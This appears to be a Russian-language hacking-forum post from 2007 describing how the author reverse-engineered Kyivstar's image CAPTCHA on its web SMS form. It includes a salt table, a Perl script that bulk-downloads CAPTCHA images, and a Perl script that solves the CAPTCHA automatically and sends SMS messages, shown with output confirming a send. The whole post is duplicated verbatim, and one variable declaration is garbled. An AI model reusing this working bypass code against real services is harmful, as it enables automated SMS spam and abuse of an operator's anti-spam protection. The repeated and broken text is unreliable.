demonoid
19.09.2007, 14:44
Kyivstar CAPTHA IV
I.Введение
Пару слов от меня
Студия Лебедева
II.История исследования
Первые впечатления
Сортировка собранного материала
III.Реализация, примеры
Даулоадер captha картинок
Пример отправки сообщения
I.Введение
Пару слов от меня
Киевстaр ИМХО хороший оператор - сам им пользуюсь, приемлемые тарифы, хорошая связь.
Я не заинтересован наносить какой - либо ущерб оператору, и поетому выкладываю запоздалый материал( тобиш уже пофиксили )
Студия Лебедева
Разработчики всего сайта ,да и данной защиты от спама , является студия "Артемия Лебедева".
Студия Лебедева немало известна:
"19 июня 2001 года на церемонии награждения победителей сорок восьмого Международного фестиваля рекламы «Каннские львы 2001» Студию Артемия Лебедева наградили бронзовым львом (Cyber Lion, категория Rich Media Banners) за серию нарисованных дизайнером студии Олегом Пащенко flash-баннеров «Дизайн спасет мир»"
источник : _http://www.artlebedev.ru/news/2001/algrelease_261.html
II.История исследования
Первые впечатления
Когда я узнал что старую капчу(CAPTHA III) переделали ,зашел на страничку киевстара , решил взглянуть что и как там .
Всё было как прежде , только длинна кода каждой картинки была разной , это и насторожило .
Коды картинок небыли похожи между собой ( как было в третий капче - константы соединения ).
После это я всё забросил всё это дело. Спустя неделю, снова решил все-таки отыскать что-то.
Решил сохранять все картинки живой природы с кодами. Нечего интересно с этого не вышло , много времени потратил
Результата 0 картинки были одинаковыми , а вот их коды совсем не были похожи - почти всё разной длинны и т.д. Позже я решил повторить предыдущие действия , на этот раз я написал скриптик для сбора картинок,- граблей в написание почти не было, так как я немного модифицировал предыдущий скрипт.
Скрипт описание и комментарии смотрим в 3-й главе
Сортировка собранного материала
Скриптом я набрал около ~220 картинок. Пришло время искать что-то схожие. Я начал замечать одинаковые окончание файлов
Отсортировав файлы по окончаниям, у меня вышло 20 папок :
334547344F0840E178FC0e3
8DDA07C009F4E3
2D60E632B2795B
3494C4F70BB1A973B26
20B9DB12FDA9A
29B4A8EDF0D4060E0
4CD30DCA59DA4
8CE1148A2A156
263473E3826CD902C237C6
2D8BD0345BE3472
4A5EAE2811CE45
24691483129FF7D42D
356E4403F59A0
5F48180428
3E982518932CF8BD
6282A989E21DE0
75409329CDCBD22D
7030A8CBADD3D
9D9614E41B573
8B6514DAEEBA05
C:\img\sort\thr>tree /F
Вот что получил (перевожу малый кусочек, для избегания больших постов):
Структура папок
Серийный номер тома: XXXX-XXXX
C:\
+---334547344F0840E178FC0e3
¦ E114C4761C3DC52111 334547344F0840E178FC0e3.jpg [-]
¦ 1A8F82721774AE105 334547344F0840E178FC0e3.jpg [-]
¦ 1C3574F90767894545114 334547344F0840E178FC0e3.jpg [-]
¦ 7CA85C667767632113 334547344F0840E178FC0e3.jpg [-]
¦ 56D935235BF030291 334547344F0840E178FC0e3.jpg [+]
¦ 79F28EB6BD42593456110 334547344F0840E178FC0e3.jpg [-]
¦ 79F28EB6BD42593456113 334547344F0840E178FC0e3.jpg [-]
¦ 162C03A633356345056110 334547344F0840E178FC0e3.jpg [-]
¦ 01760EF081D82E6556119 334547344F0840E178FC0e3.jpg [-]
¦ 66557CFC07092454591 334547344F0840E178FC0e3.jpg [+]
¦ 66557CFC07092454597 334547344F0840E178FC0e3.jpg [+]
¦ C24AD517FE525684 334547344F0840E178FC0e3.jpg [+]
¦ C25E7FC133B5F134699 334547344F0840E178FC0e3.jpg [+]
¦
+---8DDA07C009F4E3
¦ 9E0D656C0682185635343115 8DDA07C009F4E3.jpg [-]
¦ 162C03A633356345056114 8DDA07C009F4E3.jpg [-]
¦ 66557CFC07092454597 8DDA07C009F4E3.jpg [+]
¦ C5DE8F1843E8EE57688 8DDA07C009F4E3.jpg [+]
¦ C5DE8F1843E8EE57689 8DDA07C009F4E3.jpg [+]
¦ C24AD517FE5256111 8DDA07C009F4E3.jpg [-]
¦ CD72DF83AC5C104 8DDA07C009F4E3.jpg [-]
¦ DD6EFFD6404D176456495 8DDA07C009F4E3.jpg [+]
¦ 1A8F82721774AE116 8DDA07C009F4E3.jpg [-]
¦ 66557CFC07092454592 8DDA07C009F4E3.jpg [+]
¦ 7CA85C667767632119 8DDA07C009F4E3.jpg [-]
¦
+---8B6514DAEEBA05
..........
Плюсом отмечены картинки живой природы.
В дальнейшем я заметил чем-то похожие коды картинок
79F28EB6BD4259345698 2D60E632B2795B.jpg
FFD6404D1764564798 3494C4F70BB1A973B26.jpg
После визуального разделения вот что получилось
79F28EB6BD42593456 98 2D60E632B2795B.jpg
FFD6404D17645647 98 3494C4F70BB1A973B26.jpg
Вот и мои выводы по поводу кода:
-Папки по которым я отсортировал картинки -константы ,а еще точней это соли.
-Отбрасываем соль, считываем последние две цифры , это есть "сущность " картинки ( природа , не природа )
-И наконец отбрасываем соль и последние два цыфры , это есть позиция (координаты) звёздочки(помехи на картинке)
После такого визуального отделения я перешел к практическому :) , разделил всё. И собрал свою базу живой природы
'83','84','85','86','87','88','89',
'90','91','92','93','94','95','96',
'97','98','99'
Собственно и всё далее осталось написать скрипт , смотрим в следующей главе
III.Реализация, примеры
Даулоадер captha картинок
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
use warnings;
print "\t\tks_exemple.pl ~ / Kyivstar Image downloader / v1.1b\n".
"\t\tby demonoid 212-905-288\n".
"\t\tspecical for forum.antichat.ru / 23.08.2007 /\n\n";
my $ua = LWP::UserAgent->new;
#----------------------------------------------------------------->
my $url = 'http://www.kyivstar.net/_sms/';
my $path = "C:/img/";
my $img_god = 0;
my $img_bed = 0;
my $errfile = "error_img.log";
my $gdfile = "good_img.log";
#----------------------------------------------------------------->
for(0..24){
my $request = HTTP::Request->new(GET => $url);
my $response = $ua->request($request);
my $res = $response->content;
my ( @img_code , $con_code ,$img);
#print $res;
@img_code = ( $res =~ m/<img src="(\w+)"/gi);
$con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi);
#-------------------------------------------------------------->
open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
open(GD_FILE, ">>$path$gdfile") || exit print "[-]Cant open $gdfile\n";
for(0..8)
{
$img="http://kyivstar.net/_sms/$img_code[$_]";
$res = $ua -> get("$img", ':content_file' => "$path$img_code[$_].jpg",
'Referer' => 'http://kyivstar.net/_sms/?lang=ua');
if( $res->status_line =~/404/ )
{
print ERR_FILE "$img_code[$_]\n";
$img_bed++;
}
else
{
print GD_FILE "$img_code[$_]\n";
$img_god++;
}
}
}
print "\t\tGood img : $img_god \tBeed img : $img_bed\n".
"\t\t----------------------------\n\n".
"\t\t[+]All dome!\n".
"\t\t[!]Loock img : $path \n".
"\t\t[~]Error file : $path$errfile\n".
"\t\t[~]Good file : $path$gdfile\n";
close ERR_FILE;
close GD_FILE;
Все картинки и логии в C:/img/
Пример отправки сообщения
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
use warnings;
my ( @live_images,@images_sid,@last3figure,@length,$cur r_salt,$curr_live_images,$live_images_code);
my $debug_mode = 0; #режим отладки '1'
my $c = 0;
my $k = 0;
my @good_img = ( '83','84','85','86','87','88','89',
'90','91','92','93','94','95',
'96','97','98','99' );
# salt двумерный массив который содержит последние 3 символа, и длину каждой соли
# к примеру @salt[0][0] = 0e3 ,окончание соли 0e3 - длинна этой соли @salt[1][0] = 23
# и т.д.
my @salt=( ['0e3','4E3','95B','B26','A9A','0E0','DA4',
'156','7C6','472','E45','42D','9A0','428',
'8BD','DE0','22D','D3D','573','A05' ],
[ '23','14','14','19','13','17','13','13','22','15',
'14','18','13','10','16','14','16','13','13','14' ]);
my $ua = LWP::UserAgent->new;
my $url = 'http://www.kyivstar.net/_sms/';
my $request = HTTP::Request->new(GET => $url);
my $response = $ua->request($request);
my $res = $response->content;
#print $res;
@live_images = ( $res =~ m/<img src="(\w+)"/gi);
@images_sid = ( $res =~ m/<input type="hidden" name="images_sid" value="(\w+)"/gi);
for(0..8)
{
debug("| 0x0%d ",$_+1);
$length[$_] = length($live_images[$_]);
$last3figure[$_] = substr($live_images[$_],$length[$_]-3,3);
debug("| %50s | %s |\n",$live_images[$_],$last3figure[$_]);
}
debug("\n");
for(0..8) # 20 salt
{
debug("| 0x0%d ",$_+1);
$curr_salt = $last3figure[$_];
for(0..19)
{
if( $curr_salt =~ /$salt[0][$_]/ )
{
debug("| %3s | %2d |",$salt[0][$_],$salt[1][$_]);
$length[$c] = $salt[1][$_];
$c++;
}
}
$live_images[$_] = substr($live_images[$_],-$length[$_]-2,2);
debug(" %2d |\n",$live_images[$_]);
}
debug("\n");
for(0..8)
{
$k++;
$curr_live_images = $live_images[$_];
for(0..16)
{
if( $curr_live_images == $good_img[$_] )
{
#print "[$k] $curr_live_images\n";
debug("| 0x0%d | %2d | \n",$k,$curr_live_images);
$live_images_code.="0$k";
}
}
}
debug("\nLive image code:%s\nImages sid:%d",$live_images_code,$images_sid[0]);
&send_function($live_images_code,$images_sid[0]);
#--------------------------------------------------------------------------------------->
sub debug
{
if($debug_mode)
{
my @buf = @_;
printf @buf;
}
}
#----------------------------------------------------------------------------------------->
sub send_function
{
my ($live_images_code,$images_sid)=@_;
my $browser = LWP::UserAgent->new;
$browser->agent('New captha v4.0');
#$browser->proxy(['http'] => 'http://119.243.141.177:8080/');
my $mob_code = "097";
my $mob_number = "XXXXXXX";
my $messenge = "hello_antichat.ru";
my $url="http://kyivstar.net/_sms/";
printf "\n\n\t[+]Send %s-%s \n\tmessage: \<<%s\>> \n",
$mob_code,$mob_number,$messenge ;
my $response = $browser->post($url,
["submitted" => "true",
"lang" => "ua",
"sms_adv" => "101",
"mobcode" => $mob_code,
"number" => $mob_number,
"lat" => 1,
"message" => $messenge,
"images_sid" => $images_sid,
"live_images" => $live_images_code],
"Content-Type" => "application/x-www-form-urlencoded",
"Referer" => "http://kyivstar.net/_sms/",
"Connection" => "Keep-Alive",
"Cache-Control"=> "no-cache");
my $status= $response->as_string();
( $status =~/messageID/g )?print "\t[+] messenge it is successfully sent\n":print "\t[-] messenge it is not sent";
}
Пример вызова
[+]Send 097-XXXXXXX
message: <<hello_antichat.ru>>
[+] messenge it is successfully sent
В целях более глубокого изложения материала, сделал режим отладки $debug_mode = 1
Снова вызываем
| 0x01 | 01760EF081D82E65561194CD30DCA59DA4 | DA4 | #0x01 -картинка №1 , DA4-окончание соли
| 0x02 | C25E7FC133B5F13461042D60E632B2795B | 95B | #0x02 -картинка №2 , 95B-окончание соли
| 0x03 | 46477C4FD14B23451137030A8CBADD3D | D3D | #...
| 0x04 | 02CF3C913149356535671093494C4F70BB1A973B26 | B26 |
| 0x05 | 827C7585B764648629B4A8EDF0D4060E0 | 0E0 |
| 0x06 | 66557CFC0709245459775409329CDCBD22D | 22D |
| 0x07 | FFD6404D1764564795356E4403F59A0 | 9A0 |
| 0x08 | 9E0D656C06821856353431128B6514DAEEBA05 | A05 |
| 0x09 | C24AD517FE5256849D9614E41B573 | 573 |
| 0x01 | DA4 | 13 | 19 | #0x01 -картинка №1,DA4-окончание соли,13 длинна соли,19 - "сущность" картинки
| 0x02 | 95B | 14 | 4 | #0x02 -картинка №2,95B-окончание соли,14 длинна соли,4 - "сущность" картинки
| 0x03 | D3D | 13 | 3 | #...
| 0x04 | B26 | 19 | 9 |
| 0x05 | 0E0 | 17 | 86 |
| 0x06 | 22D | 16 | 97 |
| 0x07 | 9A0 | 13 | 95 |
| 0x08 | A05 | 14 | 12 |
| 0x09 | 573 | 13 | 84 |
| 0x05 | 86 | #0x05 -картинка №5,86 - "сущность" картинки (живая природа по базе)
| 0x06 | 97 | #0x06 -картинка №6,97 - "сущность" картинки (живая природа по базе)
| 0x07 | 95 | #...
| 0x09 | 84 |
Live image code:05060709 #номера картинок 0x05,0x06,0x07,0x09
Images sid:3537373
[+]Send 097-XXXXXXX
message: <<hello_antichat.ru>>
[+] messenge it is successfully sent
И напоследок:
_http://artlebedev.ru -сайт Студии Артемия Лебедева
_http://www.kyivstar.net/_sms/ -киевстар , отправка сообщения
_http://forum.antichat.ru/thread45934.html -3.0 капча
_http://forum.antichat.ru/thread46080.html -3.1 капча, мой предыдущий материал ,данной тематики
Важно :
Материал исключительно в ознакомительных целях!
Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.
I.Введение
Пару слов от меня
Студия Лебедева
II.История исследования
Первые впечатления
Сортировка собранного материала
III.Реализация, примеры
Даулоадер captha картинок
Пример отправки сообщения
I.Введение
Пару слов от меня
Киевстaр ИМХО хороший оператор - сам им пользуюсь, приемлемые тарифы, хорошая связь.
Я не заинтересован наносить какой - либо ущерб оператору, и поетому выкладываю запоздалый материал( тобиш уже пофиксили )
Студия Лебедева
Разработчики всего сайта ,да и данной защиты от спама , является студия "Артемия Лебедева".
Студия Лебедева немало известна:
"19 июня 2001 года на церемонии награждения победителей сорок восьмого Международного фестиваля рекламы «Каннские львы 2001» Студию Артемия Лебедева наградили бронзовым львом (Cyber Lion, категория Rich Media Banners) за серию нарисованных дизайнером студии Олегом Пащенко flash-баннеров «Дизайн спасет мир»"
источник : _http://www.artlebedev.ru/news/2001/algrelease_261.html
II.История исследования
Первые впечатления
Когда я узнал что старую капчу(CAPTHA III) переделали ,зашел на страничку киевстара , решил взглянуть что и как там .
Всё было как прежде , только длинна кода каждой картинки была разной , это и насторожило .
Коды картинок небыли похожи между собой ( как было в третий капче - константы соединения ).
После это я всё забросил всё это дело. Спустя неделю, снова решил все-таки отыскать что-то.
Решил сохранять все картинки живой природы с кодами. Нечего интересно с этого не вышло , много времени потратил
Результата 0 картинки были одинаковыми , а вот их коды совсем не были похожи - почти всё разной длинны и т.д. Позже я решил повторить предыдущие действия , на этот раз я написал скриптик для сбора картинок,- граблей в написание почти не было, так как я немного модифицировал предыдущий скрипт.
Скрипт описание и комментарии смотрим в 3-й главе
Сортировка собранного материала
Скриптом я набрал около ~220 картинок. Пришло время искать что-то схожие. Я начал замечать одинаковые окончание файлов
Отсортировав файлы по окончаниям, у меня вышло 20 папок :
334547344F0840E178FC0e3
8DDA07C009F4E3
2D60E632B2795B
3494C4F70BB1A973B26
20B9DB12FDA9A
29B4A8EDF0D4060E0
4CD30DCA59DA4
8CE1148A2A156
263473E3826CD902C237C6
2D8BD0345BE3472
4A5EAE2811CE45
24691483129FF7D42D
356E4403F59A0
5F48180428
3E982518932CF8BD
6282A989E21DE0
75409329CDCBD22D
7030A8CBADD3D
9D9614E41B573
8B6514DAEEBA05
C:\img\sort\thr>tree /F
Вот что получил (перевожу малый кусочек, для избегания больших постов):
Структура папок
Серийный номер тома: XXXX-XXXX
C:\
+---334547344F0840E178FC0e3
¦ E114C4761C3DC52111 334547344F0840E178FC0e3.jpg [-]
¦ 1A8F82721774AE105 334547344F0840E178FC0e3.jpg [-]
¦ 1C3574F90767894545114 334547344F0840E178FC0e3.jpg [-]
¦ 7CA85C667767632113 334547344F0840E178FC0e3.jpg [-]
¦ 56D935235BF030291 334547344F0840E178FC0e3.jpg [+]
¦ 79F28EB6BD42593456110 334547344F0840E178FC0e3.jpg [-]
¦ 79F28EB6BD42593456113 334547344F0840E178FC0e3.jpg [-]
¦ 162C03A633356345056110 334547344F0840E178FC0e3.jpg [-]
¦ 01760EF081D82E6556119 334547344F0840E178FC0e3.jpg [-]
¦ 66557CFC07092454591 334547344F0840E178FC0e3.jpg [+]
¦ 66557CFC07092454597 334547344F0840E178FC0e3.jpg [+]
¦ C24AD517FE525684 334547344F0840E178FC0e3.jpg [+]
¦ C25E7FC133B5F134699 334547344F0840E178FC0e3.jpg [+]
¦
+---8DDA07C009F4E3
¦ 9E0D656C0682185635343115 8DDA07C009F4E3.jpg [-]
¦ 162C03A633356345056114 8DDA07C009F4E3.jpg [-]
¦ 66557CFC07092454597 8DDA07C009F4E3.jpg [+]
¦ C5DE8F1843E8EE57688 8DDA07C009F4E3.jpg [+]
¦ C5DE8F1843E8EE57689 8DDA07C009F4E3.jpg [+]
¦ C24AD517FE5256111 8DDA07C009F4E3.jpg [-]
¦ CD72DF83AC5C104 8DDA07C009F4E3.jpg [-]
¦ DD6EFFD6404D176456495 8DDA07C009F4E3.jpg [+]
¦ 1A8F82721774AE116 8DDA07C009F4E3.jpg [-]
¦ 66557CFC07092454592 8DDA07C009F4E3.jpg [+]
¦ 7CA85C667767632119 8DDA07C009F4E3.jpg [-]
¦
+---8B6514DAEEBA05
..........
Плюсом отмечены картинки живой природы.
В дальнейшем я заметил чем-то похожие коды картинок
79F28EB6BD4259345698 2D60E632B2795B.jpg
FFD6404D1764564798 3494C4F70BB1A973B26.jpg
После визуального разделения вот что получилось
79F28EB6BD42593456 98 2D60E632B2795B.jpg
FFD6404D17645647 98 3494C4F70BB1A973B26.jpg
Вот и мои выводы по поводу кода:
-Папки по которым я отсортировал картинки -константы ,а еще точней это соли.
-Отбрасываем соль, считываем последние две цифры , это есть "сущность " картинки ( природа , не природа )
-И наконец отбрасываем соль и последние два цыфры , это есть позиция (координаты) звёздочки(помехи на картинке)
После такого визуального отделения я перешел к практическому :) , разделил всё. И собрал свою базу живой природы
'83','84','85','86','87','88','89',
'90','91','92','93','94','95','96',
'97','98','99'
Собственно и всё далее осталось написать скрипт , смотрим в следующей главе
III.Реализация, примеры
Даулоадер captha картинок
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
use warnings;
print "\t\tks_exemple.pl ~ / Kyivstar Image downloader / v1.1b\n".
"\t\tby demonoid 212-905-288\n".
"\t\tspecical for forum.antichat.ru / 23.08.2007 /\n\n";
my $ua = LWP::UserAgent->new;
#----------------------------------------------------------------->
my $url = 'http://www.kyivstar.net/_sms/';
my $path = "C:/img/";
my $img_god = 0;
my $img_bed = 0;
my $errfile = "error_img.log";
my $gdfile = "good_img.log";
#----------------------------------------------------------------->
for(0..24){
my $request = HTTP::Request->new(GET => $url);
my $response = $ua->request($request);
my $res = $response->content;
my ( @img_code , $con_code ,$img);
#print $res;
@img_code = ( $res =~ m/<img src="(\w+)"/gi);
$con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi);
#-------------------------------------------------------------->
open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
open(GD_FILE, ">>$path$gdfile") || exit print "[-]Cant open $gdfile\n";
for(0..8)
{
$img="http://kyivstar.net/_sms/$img_code[$_]";
$res = $ua -> get("$img", ':content_file' => "$path$img_code[$_].jpg",
'Referer' => 'http://kyivstar.net/_sms/?lang=ua');
if( $res->status_line =~/404/ )
{
print ERR_FILE "$img_code[$_]\n";
$img_bed++;
}
else
{
print GD_FILE "$img_code[$_]\n";
$img_god++;
}
}
}
print "\t\tGood img : $img_god \tBeed img : $img_bed\n".
"\t\t----------------------------\n\n".
"\t\t[+]All dome!\n".
"\t\t[!]Loock img : $path \n".
"\t\t[~]Error file : $path$errfile\n".
"\t\t[~]Good file : $path$gdfile\n";
close ERR_FILE;
close GD_FILE;
Все картинки и логии в C:/img/
Пример отправки сообщения
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
use warnings;
my ( @live_images,@images_sid,@last3figure,@length,$cur r_salt,$curr_live_images,$live_images_code);
my $debug_mode = 0; #режим отладки '1'
my $c = 0;
my $k = 0;
my @good_img = ( '83','84','85','86','87','88','89',
'90','91','92','93','94','95',
'96','97','98','99' );
# salt двумерный массив который содержит последние 3 символа, и длину каждой соли
# к примеру @salt[0][0] = 0e3 ,окончание соли 0e3 - длинна этой соли @salt[1][0] = 23
# и т.д.
my @salt=( ['0e3','4E3','95B','B26','A9A','0E0','DA4',
'156','7C6','472','E45','42D','9A0','428',
'8BD','DE0','22D','D3D','573','A05' ],
[ '23','14','14','19','13','17','13','13','22','15',
'14','18','13','10','16','14','16','13','13','14' ]);
my $ua = LWP::UserAgent->new;
my $url = 'http://www.kyivstar.net/_sms/';
my $request = HTTP::Request->new(GET => $url);
my $response = $ua->request($request);
my $res = $response->content;
#print $res;
@live_images = ( $res =~ m/<img src="(\w+)"/gi);
@images_sid = ( $res =~ m/<input type="hidden" name="images_sid" value="(\w+)"/gi);
for(0..8)
{
debug("| 0x0%d ",$_+1);
$length[$_] = length($live_images[$_]);
$last3figure[$_] = substr($live_images[$_],$length[$_]-3,3);
debug("| %50s | %s |\n",$live_images[$_],$last3figure[$_]);
}
debug("\n");
for(0..8) # 20 salt
{
debug("| 0x0%d ",$_+1);
$curr_salt = $last3figure[$_];
for(0..19)
{
if( $curr_salt =~ /$salt[0][$_]/ )
{
debug("| %3s | %2d |",$salt[0][$_],$salt[1][$_]);
$length[$c] = $salt[1][$_];
$c++;
}
}
$live_images[$_] = substr($live_images[$_],-$length[$_]-2,2);
debug(" %2d |\n",$live_images[$_]);
}
debug("\n");
for(0..8)
{
$k++;
$curr_live_images = $live_images[$_];
for(0..16)
{
if( $curr_live_images == $good_img[$_] )
{
#print "[$k] $curr_live_images\n";
debug("| 0x0%d | %2d | \n",$k,$curr_live_images);
$live_images_code.="0$k";
}
}
}
debug("\nLive image code:%s\nImages sid:%d",$live_images_code,$images_sid[0]);
&send_function($live_images_code,$images_sid[0]);
#--------------------------------------------------------------------------------------->
sub debug
{
if($debug_mode)
{
my @buf = @_;
printf @buf;
}
}
#----------------------------------------------------------------------------------------->
sub send_function
{
my ($live_images_code,$images_sid)=@_;
my $browser = LWP::UserAgent->new;
$browser->agent('New captha v4.0');
#$browser->proxy(['http'] => 'http://119.243.141.177:8080/');
my $mob_code = "097";
my $mob_number = "XXXXXXX";
my $messenge = "hello_antichat.ru";
my $url="http://kyivstar.net/_sms/";
printf "\n\n\t[+]Send %s-%s \n\tmessage: \<<%s\>> \n",
$mob_code,$mob_number,$messenge ;
my $response = $browser->post($url,
["submitted" => "true",
"lang" => "ua",
"sms_adv" => "101",
"mobcode" => $mob_code,
"number" => $mob_number,
"lat" => 1,
"message" => $messenge,
"images_sid" => $images_sid,
"live_images" => $live_images_code],
"Content-Type" => "application/x-www-form-urlencoded",
"Referer" => "http://kyivstar.net/_sms/",
"Connection" => "Keep-Alive",
"Cache-Control"=> "no-cache");
my $status= $response->as_string();
( $status =~/messageID/g )?print "\t[+] messenge it is successfully sent\n":print "\t[-] messenge it is not sent";
}
Пример вызова
[+]Send 097-XXXXXXX
message: <<hello_antichat.ru>>
[+] messenge it is successfully sent
В целях более глубокого изложения материала, сделал режим отладки $debug_mode = 1
Снова вызываем
| 0x01 | 01760EF081D82E65561194CD30DCA59DA4 | DA4 | #0x01 -картинка №1 , DA4-окончание соли
| 0x02 | C25E7FC133B5F13461042D60E632B2795B | 95B | #0x02 -картинка №2 , 95B-окончание соли
| 0x03 | 46477C4FD14B23451137030A8CBADD3D | D3D | #...
| 0x04 | 02CF3C913149356535671093494C4F70BB1A973B26 | B26 |
| 0x05 | 827C7585B764648629B4A8EDF0D4060E0 | 0E0 |
| 0x06 | 66557CFC0709245459775409329CDCBD22D | 22D |
| 0x07 | FFD6404D1764564795356E4403F59A0 | 9A0 |
| 0x08 | 9E0D656C06821856353431128B6514DAEEBA05 | A05 |
| 0x09 | C24AD517FE5256849D9614E41B573 | 573 |
| 0x01 | DA4 | 13 | 19 | #0x01 -картинка №1,DA4-окончание соли,13 длинна соли,19 - "сущность" картинки
| 0x02 | 95B | 14 | 4 | #0x02 -картинка №2,95B-окончание соли,14 длинна соли,4 - "сущность" картинки
| 0x03 | D3D | 13 | 3 | #...
| 0x04 | B26 | 19 | 9 |
| 0x05 | 0E0 | 17 | 86 |
| 0x06 | 22D | 16 | 97 |
| 0x07 | 9A0 | 13 | 95 |
| 0x08 | A05 | 14 | 12 |
| 0x09 | 573 | 13 | 84 |
| 0x05 | 86 | #0x05 -картинка №5,86 - "сущность" картинки (живая природа по базе)
| 0x06 | 97 | #0x06 -картинка №6,97 - "сущность" картинки (живая природа по базе)
| 0x07 | 95 | #...
| 0x09 | 84 |
Live image code:05060709 #номера картинок 0x05,0x06,0x07,0x09
Images sid:3537373
[+]Send 097-XXXXXXX
message: <<hello_antichat.ru>>
[+] messenge it is successfully sent
И напоследок:
_http://artlebedev.ru -сайт Студии Артемия Лебедева
_http://www.kyivstar.net/_sms/ -киевстар , отправка сообщения
_http://forum.antichat.ru/thread45934.html -3.0 капча
_http://forum.antichat.ru/thread46080.html -3.1 капча, мой предыдущий материал ,данной тематики
Важно :
Материал исключительно в ознакомительных целях!
Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.